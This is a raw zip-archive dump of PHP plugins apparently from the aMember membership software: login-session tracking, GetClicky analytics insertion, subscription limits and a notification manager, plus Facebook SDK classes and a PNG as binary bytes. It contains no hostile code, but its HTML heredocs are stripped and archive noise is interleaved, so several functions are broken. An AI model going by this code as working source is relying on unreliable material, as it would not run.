Zend_Session::getId() )); if (!$rec) { $rec = $this->getDi()->loginSessionRecord; $rec->user_id = $user_id; $rec->session_id = Zend_Session::getId(); $rec->need_logout = 0; } if ($rec->need_logout) { $rec->delete(); $this->getDi()->auth->logout(); } else { $rec->modified = sqlTime('now'); $rec->remote_addr = $_SERVER['REMOTE_ADDR']; $rec->save(); } } } function onDaily() { $this->getDi()->loginSessionTable->deleteBy(array( 'modified' => '<' . sqlTime(sprintf('-%d minutes', $this->getConfig('timeout', 5))) )); } function onGridUserInitForm(Am_Event $event) { $user = $event->getGrid()->getRecord(); if ($user->isLoaded()) { $recs = $this->getDi()->loginSessionTable->findBy(array( 'user_id' => $user->pk(), 'modified' => '>' . sqlTime(sprintf('-%d minutes', $this->getConfig('timeout', 5))), 'need_logout' => 0)); if ($recs) { $ips = array(); foreach ($recs as $r) $ips[] = $r->remote_addr; $login = $event->getGrid()->getForm()->getElementById('login'); $static = new Am_Form_Element_Html(); $static->setHtml(sprintf('
    %s
    ', ___('There is %d active login session for this ' . 'user from following IP address(es): %s', count($recs), implode(', ', $ips)))); $login->getContainer()->insertBefore($static, $login); } } } function onGridUserOnBeforeRun(Am_Event $event) { /* @var $grid Am_Grid_Editable */ $grid = $event->getGrid(); /* @var $query Am_Query_User */ $query = $grid->getDataSource(); $date = sqlTime(sprintf('-%d minutes', $this->getConfig('timeout', 5))); $query->leftJoin('?_login_session', 'ls', 'u.user_id=ls.user_id') ->addField("SUM(IF(modified>'$date' AND need_logout=0, 1, 0))", 'login_session_cnt'); $loginIndicator = new Am_Grid_Field('login_indicator', ___('Login Indicator'), false); $loginIndicator->setRenderFunction(array($this, 'renderLoginIndicator')); $action = $grid->actionGet('customize'); $action->addField($loginIndicator); } function renderLoginIndicator(Am_Record $rec) { $res = $rec->last_login ? '' . amDatetime($rec->last_login) . '' : '' . ___('Never') . ''; if ($rec->login_session_cnt) $res = '' . ___('Online') . (($rec->login_session_cnt > 1) ? sprintf(' (%d)', $rec->login_session_cnt) : '') . ''; return sprintf('%s', $res); } function getReadme() { return <<id = $di->config->get('getclicky_id'); parent::__construct($di, $config); } public function isConfigured() { return !empty($this->id); } function onSetupForms(Am_Event_SetupForms $forms) { $form = new Am_Form_Setup('getclicky'); $form->setTitle("GetClicky"); $forms->addForm($form); $form->addInteger('getclicky_id') ->setLabel(___("GetClicky Site Id\n" . "GetClicky Account -> Preferences -> Info")); } function onAfterRender(Am_Event_AfterRender $event) { if ($this->done) return; if (preg_match('/thanks\.phtml$/', $event->getTemplateName())) { $this->done += $event->replace("||i", $this->getSaleCode($event->getView()->invoice, $event->getView()->payment) . $this->getTrackingCode() . "", 1); } elseif (!preg_match('/\badmin\b/', $t = $event->getTemplateName())) { $this->done += $event->replace("||i", $this->getTrackingCode() . "", 1); } } function getTrackingCode() { return << Real Time Analytics CUT; } function getSaleCode(Invoice $invoice, InvoicePayment $payment) { if (empty($payment->amount)) { $goal = array('name' => 'Free Signup'); } else { $goal = array('name' => 'Purchase', 'revenue' => $payment->amount); } $goal = json_encode($goal); return << var clicky_custom = {}; clicky_custom.goal = $goal; CUT; } }PK\UED..misc/subscription-limit.phpnu[ misc.subscription-limit.notify_oos_admin 2 en text %site_title%: Out of stock - %product.title% %product.title% is out of stock. misc.subscription-limit.notify_ls_admin 2 en text %site_title%: Low stock - %product.title% (%qty%) %product.title% is low stock. Remaining quantity is %qty% CUT; } function onSetupEmailTemplateTypes(Am_Event $event) { $event->addReturn(array( 'id' => 'misc.subscription-limit.notify_oos_admin', 'title' => ___('Out of Stock Notification to Admin'), 'mailPeriodic' => Am_Mail::ADMIN_REQUESTED, 'isAdmin' => true, 'vars' => array('product.title' => ___('Product Title')), ), 'misc.subscription-limit.notify_oos_admin'); $event->addReturn(array( 'id' => 'misc.subscription-limit.notify_ls_admin', 'title' => ___('Low Stock Notification to Admin'), 'mailPeriodic' => Am_Mail::ADMIN_REQUESTED, 'isAdmin' => true, 'vars' => array( 'product.title' => ___('Product Title'), 'qty' => ___('Remaining quantity')), ), 'misc.subscription-limit.notify_ls_admin'); } function init() { $this->getDi()->productTable->customFields() ->add(new Am_CustomFieldText('subscription_limit', ___('Subscription limit'), ___('limit amount of subscription for this product, keep empty if you do not want to limit amount of subscriptions'))); $this->getDi()->productTable->customFields() ->add(new Am_CustomFieldText('subscription_user_limit', ___('Subscription limit for each user'), ___('limit amount of subscription for this product per user, keep empty if you do not want to limit amount of subscriptions'))); } function _initSetupForm(Am_Form_Setup $form) { $form->setTitle(___('Subscription Limit')); $form->addElement('email_checkbox', 'notify_oos_admin') ->setLabel(___('Out of Stock Notification')); $form->addElement('email_checkbox', 'notify_ls_admin') ->setLabel(___('Low Stock Notification')); $form->addText('low_stock_threshold', array('size'=>3, 'placeholder'=>'3', 'id' => 'ls-threshold')) ->setLabel(___('Low Stock Threshold')); $form->addScript() ->setScript(<<getInvoice(); $user = $invoice->getUser(); foreach ($invoice->getItems() as $item) { if ($item->item_type != 'product') continue; $product = $this->getDi()->productTable->load($item->item_id); if (($limit = $product->data()->get('subscription_limit')) && $limit < $item->qty) { throw new Am_Exception_InputError(___('There is not such amount (%d) of product %s', $item->qty, $item->item_title)); } $count = $this->getDI()->db->selectCell(" SELECT SUM(ii.qty) FROM ?_invoice_item ii LEFT JOIN ?_invoice i ON ii.invoice_id = i.invoice_id WHERE i.user_id = ? and ii.item_id=? and i.status<>0 ", $user->pk(), $product->pk()); if (($limit = $product->data()->get('subscription_user_limit')) && $limit < ($item->qty + $count)) { throw new Am_Exception_InputError(___('There is not such amount (%d) of product %s you can purchase only %s items.', $item->qty, $item->item_title, $limit)); } } } function onInvoiceStarted(Am_Event_InvoiceStarted $event) { $invoice = $event->getInvoice(); foreach ($invoice->getItems() as $item) { if ($item->item_type != 'product') continue; $product = $this->getDi()->productTable->load($item->item_id); if ($limit = $product->data()->get('subscription_limit')) { $limit -= $item->qty; $product->data()->set('subscription_limit', $limit); if ($limit && $limit<=$this->getConfig('low_stock_threshold', 3) && $this->getConfig('notify_ls_admin')) { $et = Am_Mail_Template::load('misc.subscription-limit.notify_ls_admin'); $et->setProduct($product); $et->setQty($limit); $et->sendAdmin(); } if (!$limit) { if ($this->getConfig('notify_oos_admin')) { $et = Am_Mail_Template::load('misc.subscription-limit.notify_oos_admin'); $et->setProduct($product); $et->sendAdmin(); } $product->is_disabled = 1; } $product->save(); } } } function onGridProductInitGrid(Am_Event_Grid $event) { $grid = $event->getGrid(); $grid->addField(new Am_Grid_Field('subscription_limit', ___('Limit'), false))->setRenderFunction(array($this, 'renderLimit')); } function renderLimit(Product $product) { return '' . ( ($limit = $product->data()->get('subscription_limit')) ? $limit : '–') . ''; } function getReadme() { return << Products -> Manage Products -> Edit (Subscription limit) CUT; } }PK\w} misc/notification.phpnu[
    CUT; } function init() { $this->getDi()->router->addRoute('notification', new Am_Mvc_Router_Route( 'misc/notification/:action/:id', array( 'module' => 'default', 'controller' => 'direct', 'action' => 'index', 'type' => 'misc', 'plugin_id' => 'notification'))); } function renderNotification() { $root = preg_replace('/https?:/', '', ROOT_URL); return <<
    CUT; } function onAdminMenu(Am_Event $event) { $event->getMenu()->addPage(array( 'id' => 'notification', 'module' => 'default', 'controller' => 'admin-notification', 'action' => 'index', 'label' => ___('Notifications'), 'resource' => self::ADMIN_PERM_ID )); } function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { $user = $this->getDi()->user; switch ($request->getActionName()) { case 'c' : $id = $this->getDi()->security->reveal($request->getFiltered('id')); //actualy it is notification_id $notification = $this->getDi()->notificationTable->load($id); $this->getDi()->notificationClickTable->log($user, $notification); $tpl = new Am_SimpleTemplate(); $tpl->assign('user', $this->getDi()->auth->getUser()); return $response->redirectLocation($tpl->render($notification->url)); break; case 'get' : if (!$user) { $response->ajaxResponse(array()); } else { $items = $this->getDi()->notificationTable->getNotificationsForUser($this->getDi()->auth->getUser()); $dismiss = $user->data()->getBlob('notification.dismiss'); $tpl = new Am_SimpleTemplate(); $tpl->assign('user', $this->getDi()->auth->getUser()); if (!$dismiss) { $dismiss = array(); } else { $dismiss = unserialize($dismiss); } $out = array(); foreach ($items as $item) { $display = $user->data()->get('notification.display.' . $item->pk()); if ($item->limit && $display >= $item->limit) continue; if (in_array($item->notification_id, $dismiss)) continue; $user->data()->set('notification.display.' . $item->pk(), ++$display); $n = new stdClass; $n->id = $this->getDi()->app->obfuscate($item->notification_id); $n->content = $tpl->render($item->content); $n->is_custom = $item->is_custom ? true : false; $n->is_blank = $item->is_blank ? true : false; $n->link = $tpl->render($item->url); $n->dont_close = $item->data()->get('dont_close'); $out[] = $n; } $user->save(); $response->ajaxResponse($out); } break; case 'js' : $response->setHeader('Content-Type', 'application/x-javascript; charset=utf-8'); echo $this->getJs(); break; case 'd' : $id = $this->getDi()->security->reveal($request->getFiltered('id')); if ($user && $id) { $dismiss = $user->data()->getBlob('notification.dismiss'); if (!$dismiss) { $dismiss = array(); } else { $dismiss = unserialize($dismiss); } $dismiss[] = $id; $user->data()->setBlob('notification.dismiss', serialize($dismiss)); $user->data()->update(); } break; default : throw new Am_Exception_InternalError('Unknown Action'); } } function getJs() { $root = preg_replace('/https?:/', '', ROOT_URL); return <<'); var n=data[i]; cont.attr('id', 'am-notification-'+n.id); if(options.class && !n.is_custom) { cont.addClass(options.class); } else if(!n.is_custom) { cont.css({ 'background-color': '#FFFFCF', 'border-color': '#545454', 'color': '#454430', 'border-radius': '10px', 'margin-bottom': '1em', 'padding': '0.5em 1em', 'border': '1px solid' }); } cont.append(n.content); if(n.link){ var l = jQuery(""+options.link_text+""); cont.append(" "); cont.append(l); } var link = jQuery(""); if(!n.dont_close) cont.prepend(link); \$this.append(cont); link.on('click', function(e){ e.preventDefault(); var id = jQuery(this).closest('div').attr('id').substr(16); jQuery.get("{$root}/misc/notification/d/"+id, function(){ jQuery('#am-notification-'+id).hide(options.animation); jQuery('#am-notification-'+id).remove(); }); }); } }); }); } })(jQuery); CUT; } function onGetPermissionsList(Am_Event $event) { $event->addReturn(___('Can Operate with Notifications'), self::ADMIN_PERM_ID); } function onInitFinished(Am_Event $e) { $this->getDi()->blocks->add(new Am_Block('member/main/top', null, 'notification', null, array($this, 'renderNotification'))); } function getReadme() { $root = preg_replace('/https?:/', '', ROOT_URL); $script = << EOT; $script = Am_Html::escape($script); return <<_simpleSort(Am_Di::getInstance()->notificationTable, $item, $after, $before); } } class AdminNotificationController extends Am_Mvc_Controller_Grid { function init() { parent::init(); include_once dirname(__FILE__) . "/../../controllers/AdminContentController.php"; } function preDispatch() { parent::preDispatch(); $this->view->headScript()->appendFile($this->view->_scriptJs("resourceaccess.js")); } function checkAdminPermissions(Admin $admin) { return $admin->hasPermission(Am_Plugin_Notification::ADMIN_PERM_ID); } function clickAction() { $ds = new Am_Query($this->getDi()->notificationClickTable); $ds->leftJoin('?_user', 'u', 't.user_id=u.user_id') ->addField('COUNT(t.notification_click_id)', 'cnt') ->addField('u.*') ->addField("CONCAT(u.name_f, ' ', u.name_l)", 'name') ->groupBy('user_id', 'u') ->addWhere('notification_id=?', $this->getParam('id')); $grid = new Am_Grid_ReadOnly('_n_c', ___('Statistics'), $ds, $this->getRequest(), $this->getView(), $this->getDi()); $userUrl = new Am_View_Helper_UserUrl(); $grid->addField('login', ___('Username')) ->addDecorator(new Am_Grid_Field_Decorator_Link($userUrl->userUrl('{user_id}'), '_top')); $grid->addField('name', ___('Name')); $grid->addField('email', ___('E-Mail Address')); $grid->addField('cnt', ___('Clicks'), null, null, null, '1%'); $grid->runWithLayout($this->layout); } function createGrid() { $ds = new Am_Query($this->getDi()->notificationTable); $ds->leftJoin('?_notification_click', 'nc', 't.notification_id=nc.notification_id') ->addField('COUNT(nc.notification_click_id)', 'cnt') ->addOrder('sort_order'); $grid = new Am_Grid_Editable('_notification', ___('Notifications'), $ds, $this->_request, $this->view, $this->getDi()); $grid->setPermissionId(Am_Plugin_Notification::ADMIN_PERM_ID); $grid->addField('content', ___('Content')); $grid->addField('url', ___('Link')); $grid->addField(new Am_Grid_Field_Date('begin', ___('Begin'))) ->setFormatDate(); $grid->addField(new Am_Grid_Field_Date('expire', ___('Expire'))) ->setFormatDate(); $grid->addField('cnt', ___('Clicks'), true, null, null, '1%') ->setRenderFunction(array($this, 'renderClicks')); $grid->addField(new Am_Grid_Field_IsDisabled()); $grid->setForm(array($this, 'createForm')); $grid->addCallback(Am_Grid_Editable::CB_VALUES_TO_FORM, array($this, 'valuesToForm')); $grid->addCallback(Am_Grid_Editable::CB_VALUES_FROM_FORM, array($this, 'valuesFromForm')); $grid->actionAdd(new Am_Grid_Action_Group_Delete()); $grid->actionAdd(new Am_Grid_Action_Sort_Notification()); $grid->addCallback(Am_Grid_ReadOnly::CB_RENDER_STATIC, array($this, 'renderStatic')); $grid->addCallback(Am_Grid_ReadOnly::CB_RENDER_CONTENT, array($this, 'renderContent')); $grid->setFilter(new Am_Grid_Filter_Text(___('Filter by Content or Link'), array( 'content' => 'LIKE', 'url' => 'LIKE' ))); $grid->setRecordTitle(___('Notification')); return $grid; } function renderContent(& $out) { $readme = $this->getDi()->plugins_misc->loadGet('notification')->getReadme(); $out .= <<
    $readme
    CUT; } function renderStatic(& $out) { $title = ___('Statistics'); $out .= << jQuery(document).on('click', '.notification-click', function(){ var div = jQuery('
    '); div.load(amUrl("/admin-notification/click/?id=") + jQuery(this).data('notification_id'), function(){ div.dialog({ autoOpen: true ,width: 800 ,buttons: {} ,closeOnEscape: true ,title: "$title" ,modal: true ,open: function(){ div.ngrid(); } }); }); }) CUT; } function renderClicks($rec) { return $rec->cnt ? sprintf('%d', $rec->pk(), $rec->cnt) : ''; } function valuesToForm(array & $values, Notification $record) { $values['_dont_close'] = $record->data()->get('dont_close'); @$values['filter_products'] = explode(',', $values['filter_products']); $is_custom = isset($values['is_custom']) && $values['is_custom']; @$values['_content_html'] = $is_custom ? $values['content'] : ''; @$values['_content_text'] = $is_custom ? '' : $values['content']; foreach ((array) $record->_access as $access) { switch ($access->fn) { case 'free' : $values['_target'][] = 'free'; break; case 'user_id' : $values['_target'][] = 'user_id'; $ids = array(); foreach ($record->_access as $r) if ($r->fn == 'user_id') $ids[] = $r->id; $users = array(); foreach ($this->getDi()->userTable->loadIds($ids) as $user) { $users[] = $user->login; } $values['_savedLoginOrEmail'] = implode(',', $users); break; case 'user_group_id' : $values['_access'][] = $access; case 'product_id': case 'product_category_id': $values['_raccess'][] = $access; break; } } } function valuesFromForm(array & $values, Notification $record) { $access = array(); $record->data()->set('dont_close', @$values['_dont_close']); foreach ($values['_target'] as $v) { switch ($v) { case 'free' : $rec = $this->getDi()->notificationAccessRecord; $rec->fn = 'free'; $rec->id = null; $access[] = $rec; break; case 'user_id' : $rec = $this->getDi()->notificationAccessRecord; $user_ids = array(); foreach ($_REQUEST['_loginOrEmail'] as $loginOrEmail) { $user = $this->getDi()->userTable->findFirstByLogin($loginOrEmail); if (!$user) $user = $this->getDi()->userTable->findFirstByEmail($loginOrEmail); if ($user) $user_ids[] = $user->pk(); } $user_ids = array_filter($user_ids); foreach ($user_ids as $uid) { $rec = $this->getDi()->notificationAccessRecord; $rec->fn = 'user_id'; $rec->id = $uid; $access[] = $rec; } break; default: preg_match('/(user_group_id)-([0-9]+)/i', $v, $match); $rec = $this->getDi()->notificationAccessRecord; $rec->fn = $match[1]; $rec->id = $match[2]; $access[] = $rec; } } foreach (array( 'product_id' => ResourceAccess::FN_PRODUCT, 'product_category_id' => ResourceAccess::FN_CATEGORY) as $key => $rtype) { if (!empty($values['_raccess'][$key])) { foreach ($values['_raccess'][$key] as $id => $params) { if (!is_array($params)) $params = json_decode($params, true); $fa = $this->getDi()->notificationAccessRecord; $fa->fn = $rtype; $fa->id = $id; $fa->start_days = null; $fa->stop_days = null; if (preg_match('/^(-?\d+)(\w+)$/', strtolower($params['start']), $regs)) { $fa->start_days = $regs[1]; } if (preg_match('/^(-?\d+)(\w+)$/', strtolower($params['stop']), $regs)) { $fa->stop_days = $regs[1]; } $access[] = $fa; } } } if (!$values['expire']) $values['expire'] = null; if (!$values['begin']) $values['begin'] = null; if (!$values['url']) $values['url'] = null; if (!$values['limit']) $values['limit'] = null; $values['filter_products'] = empty($values['filter_products']) ? null : implode(',', $values['filter_products']); $record->_access = $access; $values['content'] = $values['is_custom'] ? $values['_content_html'] : $values['_content_text']; } function createForm() { $form = new Am_Form_Admin(); $form->addAdvRadio('is_custom') ->loadOptions(array( 0 => ___('Use Pre-Defined Template'), 1 => ___('Define Custom Html Message') ))->setValue(0); $form->addTextarea('_content_text', array('rows' => '7', 'rel' => 'form-pre-defined', 'class' => 'row-wide el-wide')) ->setLabel(___("Content\n" . 'You can use all user specific placeholders here eg. %user.login%, %user.name_f%, %user.name_l% etc.')); $placeholder_items = &$options['placeholder_items']; foreach ($this->getUserTagOptions() as $k => $v) { $placeholder_items[] = array($v, $k); } $form->addHtmlEditor('_content_html', array('rel' => 'form-html'), array('showInPopup' => true)) ->setLabel(___("Content\n" . 'You can use all user specific placeholders here eg. %user.login%, %user.name_f%, %user.name_l% etc.')) ->setMceOptions($options); $form->addText('url', array('class' => 'el-wide', 'rel' => 'form-pre-defined')) ->setLabel(___('Link')); $form->addAdvcheckbox('is_blank', array('rel' => 'form-pre-defined')) ->setLabel(___('Open Link in New Window')); $form->addScript() ->setScript(<<addMagicSelect('_target') ->setLabel(___('Target By User')); $cats = $pr = $gr = array(); foreach ($this->getDi()->userGroupTable->getSelectOptions() as $k => $v) $gr['user_group_id-' . $k] = 'Group: ' . $v; $options = array( 'free' => ___('All'), 'user_id' => ___('Specific User') ) + ($cats ? array(___('Product Categories') => $cats) : array()) + ($gr ? array(___('User Groups') => $gr) : array()) + ($pr ? array(___('Products') => $pr) : array()); $sel->loadOptions($options); //$sel->addRule('required'); $sel->setJsOptions('{onChange:function(val){ jQuery("input[name^=_loginOrEmail]").closest(\'.row\').toggle(val.hasOwnProperty("user_id")); }}'); $loginGroup = $form->addGroup(''); $loginGroup ->setLabel(___('Username/Email')); $loginGroup->addHidden('_savedLoginOrEmail')->setValue(''); $login = $loginGroup->addText('_loginOrEmail[]'); $label_add_user = ___('Add User'); $loginGroup->addHtml() ->setHtml(<<$label_add_user CUT ); $form->addElement(new Am_Form_Element_ResourceAccess('_raccess', array('without_free' => true)))->setLabel('Target By Product'); $pr = $cats = array(); foreach ($this->getDi()->productCategoryTable->getOptions() as $k => $v) $cats['category-' . $k] = ___('Category') . ' : ' . $v; foreach ($this->getDi()->productTable->getOptions() as $k => $v) $pr['product-' . $k] = ___('Product') . ' : ' . $v; $sel = $form->addMagicSelect('filter_products')->setLabel("Show notification only if user doesn't have"); $sel->loadOptions( array( ___('Product Categories') => $cats, ___('Products') => $pr, ___('User Groups') => $gr )); $gr = $form->addGroup() ->setSeparator(' ') ->setLabel(___("Dates\n" . 'date range when notification is shown')); $gr->addDate('begin', array('placeholder' => ___('Begin Date'))); $gr->addDate('expire', array('placeholder' => ___('Expire Date'))); $form->addScript('script')->setScript(<<getDi()->view->icon('delete'); $form->addScript('script2')->setScript(<<'); jQuery(context).before('
    '); jQuery(context).before(\$field); jQuery(context).before('$delIcon'); jQuery(context).before('
    '); \$field.autocomplete({ minLength: 2, source: amUrl("/admin-users/autocomplete") }); return \$field; } jQuery('#target-user_id-add').click(function(){ addEmailOrLogin(this); }) CUT ); $form->addText('limit', array('size' => 8, 'placeholder' => ___('Unlimited'))) ->setLabel(___("Limit Number of Display per User\n" . 'keep it empty for unlimited')); $form->addAdvcheckbox('_dont_close') ->setLabel(___('Does not allow to close notification')); return $form; } function getUserTagOptions() { $tagOptions = array( '%user.name_f%' => 'User First Name', '%user.name_l%' => 'User Last Name', '%user.login%' => 'Username', '%user.email%' => 'E-Mail', '%user.user_id%' => 'User Internal ID#', '%user.street%' => 'User Street', '%user.street2%' => 'User Street (Second Line)', '%user.city%' => 'User City', '%user.state%' => 'User State', '%user.zip%' => 'User ZIP', '%user.country%' => 'User Country', '%user.status%' => 'User Status (0-pending, 1-active, 2-expired)' ); foreach ($this->getDi()->userTable->customFields()->getAll() as $field) { if (@$field->sql && @$field->from_config) { $tagOptions['%user.' . $field->name . '%'] = 'User ' . $field->title; } } return $tagOptions; } } /** * @property int $notification_id * @property string $content * @property string $url * @property string $fn * @property int $id * @property string $expire */ class Notification extends Am_Record_WithData { function __get($name) { if (!$this->isLoaded()) return null; if ($name == '_access') { $this->_access = $this->getDi()->notificationAccessTable->findBy(array('notification_id' => $this->pk())); return $this->_access; } throw new Am_Exception_InternalError('No variable ' . $name . ' defined in ' . __CLASS__); } function __isset($name) { return $name == '_access'; } function update() { $ret = parent::update(); $this->saveAccess($this->_access); return $ret; } function insert($reload = true) { $table_name = $this->getTable()->getName(); $this->getAdapter()->query("UPDATE {$table_name} SET sort_order=sort_order+1"); $this->sort_order = 1; $ret = parent::insert($reload); $this->saveAccess($this->_access); return $ret; } function delete() { $ret = parent::delete(); $this ->deleteFromRelatedTable('?_notification_access') ->deleteFromRelatedTable('?_notification_click'); $table_name = $this->getTable()->getName(); $this->getAdapter()->query("UPDATE {$table_name} SET sort_order=sort_order-1 WHERE sort_order>?", $this->sort_order); return $ret; } protected function saveAccess($access) { if (!$this->isLoaded()) return; $this->getDi()->notificationAccessTable->deleteBy(array('notification_id' => $this->pk())); foreach ($access as $v) { $v->notification_access_id = null; $v->notification_id = $this->pk(); $v->insert(); } } function isAvailableForUser(User $user) { // Check products; if ($this->filter_products) $filter_products = explode(',', $this->filter_products); $active_products = $user->getActiveProductIds(); $categories = array(); foreach ($this->getDi()->productCategoryTable->getCategoryProducts() as $cat_id => $products) if (array_intersect($active_products, $products)) $categories[] = $cat_id; $groups = $user->getGroups(); foreach ($filter_products as $expr) { list($type, $id) = explode('-', $expr); switch ($type) { case 'category' : if (in_array($id, $categories)) return false; break; case 'product' : if (in_array($id, $active_products)) return false; break; case 'user_group_id' : if (in_array($id, $groups)) return false; break; } } return true; } } class NotificationTable extends Am_Table_WithData { protected $_table = '?_notification'; protected $_recordClass = 'Notification'; protected $_key = 'notification_id'; function getNotificationsForUser(User $user) { return $this->getDi()->notificationAccessTable->getNotificationsForUser($user); } } class NotificationAccessTable extends ResourceAccessTable { protected $_table = '?_notification_access'; protected $_recordClass = 'NotificationAccess'; protected $_key = 'notification_access_id'; function getNotificationsByTargetUser(User $user) { $user_group_ids = $user->getGroups(); array_push($user_group_ids, '-1'); //to avoide SQL error return $this->getDi()->db->selectCol(" SELECT notification_id FROM ?_notification WHERE notification_id IN ( SELECT notification_id FROM ?_notification_access WHERE (fn=? AND id = ?) OR (fn=?) OR (fn=? AND id IN (?a)) ) AND (begin IS NULL OR begin<=?) AND (expire IS NULL OR expire>=?) AND is_disabled=0 ", 'user_id', $user->pk(), 'free', 'user_group_id', $user_group_ids, sqlDate('now'), sqlDate('now')); } function getNotificationsByTargetProduct(User $user) { return $this->getDi()->db->selectCol("SELECT notification_id FROM ?_notification n WHERE n.notification_id in ( SELECT DISTINCT r.notification_id FROM ?_notification_access r LEFT JOIN ?_access_cache c ON c.user_id=? AND (((c.fn = r.fn) AND (c.id = r.id)) OR (r.fn='product_category_id' AND r.id=-1)) AND ((c.status='active' AND r.start_days IS NULL AND r.stop_days IS NULL) OR (c.status='active' AND c.days BETWEEN IFNULL(r.start_days,0) AND IFNULL(r.stop_days, 90000)) OR (c.days >= IFNULL(r.start_days,0) AND r.stop_days = -1)) WHERE c.user_id IS NOT NULL) AND (n.begin IS NULL OR n.begin<=?) AND (n.expire IS NULL OR n.expire>=?) AND is_disabled=0 ", $user->pk(), sqlDate('now'), sqlDate('now')); } function getNotificationsForUser(User $user) { $ids = array_filter( array_unique( array_merge( $a = $this->getNotificationsByTargetUser($user), $b = $this->getNotificationsByTargetProduct($user) ) ) ); return $ids ? array_filter( $this->getDi()->notificationTable->selectObjects("SELECT * FROM ?_notification WHERE notification_id IN (?a) ORDER BY sort_order", $ids), function(Notification $notification) use ($user) { return $notification->isAvailableForUser($user); } ) : array(); } } /** * @property int $notification_id * @property string $content * @property string $url * @property string $fn * @property int $id * @property string $expire */ class NotificationAccess extends ResourceAccess { } class NotificationClick extends Am_Record { } class NotificationClickTable extends Am_Table { protected $_table = '?_notification_click'; protected $_key = 'notification_click_id'; protected $_recordClass = 'NotificationClick'; function log(Am_Record $user, Am_Record $notification) { $this->_db->query("INSERT INTO ?_notification_click SET ?a", array( 'user_id' => $user->pk(), 'dattm' => sqlDate('now'), 'notification_id' => $notification->pk() )); } }PK\X"misc/facebook/facebook-connect.pngnu[PNG  IHDRk6UsRGBIDATh[l3sffoԘ182`bօ4}phP iiҪHI[EiB6K R+.p=;H*87;&V0Y$.j֤a2b)@R,qDGSx2Ҷ5%V&k,6Peˋs fOJ[鹫Hȷh"5-Ωϯ4=0m xxE0#-XYJGgqBRWĔUSsW);ߺԠ(2h7 gv6,jacסx4gw}=T3ޕ{,|Jbg$ eu$ 9ɓe]mUF^}c[Z'a! k02wJXV] WXMt>.M(BxxE~{) a>r]B5mVNE4ڻbfdg"^ֿ >${g"GdEiqM8&AuTd4MT_!&LXOgr` BT_,EHcm̞' 'Յ(T{,::n"Y=HV2DPlG%D߅((%TEGJUCUtI k"Ya GAN5Sd vh2y6YB/v`>"=.Bd In!FꃒF'T[J<i `}">Ɍ𜌭r(Dou*LVشsL)3hXdBmaM be5XdVg_?̔<ר{&[ڨBZjIENDB`PK\ 8misc/facebook/sdk/src/Facebook/FacebookPageTabHelper.phpnu[ */ class FacebookPageTabHelper extends FacebookCanvasLoginHelper { /** * @var array|null */ protected $pageData; /** * Initialize the helper and process available signed request data. * * @param string|null $appId * @param string|null $appSecret */ public function __construct($appId = null, $appSecret = null) { parent::__construct($appId, $appSecret); if (!$this->signedRequest) { return; } $this->pageData = $this->signedRequest->get('page'); } /** * Returns a value from the page data. * * @param string $key * @param mixed|null $default * * @return mixed|null */ public function getPageData($key, $default = null) { if (isset($this->pageData[$key])) { return $this->pageData[$key]; } return $default; } /** * Returns true if the page is liked by the user. * * @return boolean */ public function isLiked() { return $this->getPageData('liked') === true; } /** * Returns true if the user is an admin. * * @return boolean */ public function isAdmin() { return $this->getPageData('admin') === true; } /** * Returns the page id if available. * * @return string|null */ public function getPageId() { return $this->getPageData('id'); } } PK\a 0misc/facebook/sdk/src/Facebook/GraphLocation.phpnu[ * @author David Poll */ class GraphLocation extends GraphObject { /** * Returns the street component of the location * * @return string|null */ public function getStreet() { return $this->getProperty('street'); } /** * Returns the city component of the location * * @return string|null */ public function getCity() { return $this->getProperty('city'); } /** * Returns the state component of the location * * @return string|null */ public function getState() { return $this->getProperty('state'); } /** * Returns the country component of the location * * @return string|null */ public function getCountry() { return $this->getProperty('country'); } /** * Returns the zipcode component of the location * * @return string|null */ public function getZip() { return $this->getProperty('zip'); } /** * Returns the latitude component of the location * * @return float|null */ public function getLatitude() { return $this->getProperty('latitude'); } /** * Returns the street component of the location * * @return float|null */ public function getLongitude() { return $this->getProperty('longitude'); } }PK\k}Gmisc/facebook/sdk/src/Facebook/HttpClients/FacebookStreamHttpClient.phpnu[requestHeaders[$key] = $value; } /** * The headers returned in the response * * @return array */ public function getResponseHeaders() { return $this->responseHeaders; } /** * The HTTP status response code * * @return int */ public function getResponseHttpStatusCode() { return $this->responseHttpStatusCode; } /** * Sends a request to the server * * @param string $url The endpoint to send the request to * @param string $method The request method * @param array $parameters The key value pairs to be sent in the body * * @return string Raw response from the server * * @throws \Facebook\FacebookSDKException */ public function send($url, $method = 'GET', $parameters = array()) { $options = array( 'http' => array( 'method' => $method, 'timeout' => 60, 'ignore_errors' => true ), 'ssl' => array( 'verify_peer' => true, 'verify_peer_name' => true, 'allow_self_signed' => true, // All root certificates are self-signed 'cafile' => __DIR__ . '/certs/DigiCertHighAssuranceEVRootCA.pem', ), ); if ($parameters) { $options['http']['content'] = http_build_query($parameters, null, '&'); $this->addRequestHeader('Content-type', 'application/x-www-form-urlencoded'); } $options['http']['header'] = $this->compileHeader(); self::$facebookStream->streamContextCreate($options); $rawResponse = self::$facebookStream->fileGetContents($url); $rawHeaders = self::$facebookStream->getResponseHeaders(); if ($rawResponse === false || !$rawHeaders) { throw new FacebookSDKException('Stream returned an empty response', 660); } $this->responseHeaders = self::formatHeadersToArray($rawHeaders); $this->responseHttpStatusCode = self::getStatusCodeFromHeader($this->responseHeaders['http_code']); return $rawResponse; } /** * Formats the headers for use in the stream wrapper * * @return string */ public function compileHeader() { $header = []; foreach($this->requestHeaders as $k => $v) { $header[] = $k . ': ' . $v; } return implode("\r\n", $header); } /** * Converts array of headers returned from the wrapper into * something standard * * @param array $rawHeaders * * @return array */ public static function formatHeadersToArray(array $rawHeaders) { $headers = array(); foreach ($rawHeaders as $line) { if (strpos($line, ':') === false) { $headers['http_code'] = $line; } else { list ($key, $value) = explode(': ', $line); $headers[$key] = $value; } } return $headers; } /** * Pulls out the HTTP status code from a response header * * @param string $header * * @return int */ public static function getStatusCodeFromHeader($header) { preg_match('|HTTP/\d\.\d\s+(\d+)\s+.*|', $header, $match); return (int) $match[1]; } } PK\ܪR""Emisc/facebook/sdk/src/Facebook/HttpClients/FacebookCurlHttpClient.phpnu[facebookCurl = $facebookCurl ?: new FacebookCurl(); self::$disableIPv6 = self::$disableIPv6 ?: false; } /** * Disable IPv6 resolution */ public static function disableIPv6() { self::$disableIPv6 = true; } /** * The headers we want to send with the request * * @param string $key * @param string $value */ public function addRequestHeader($key, $value) { $this->requestHeaders[$key] = $value; } /** * The headers returned in the response * * @return array */ public function getResponseHeaders() { return $this->responseHeaders; } /** * The HTTP status response code * * @return int */ public function getResponseHttpStatusCode() { return 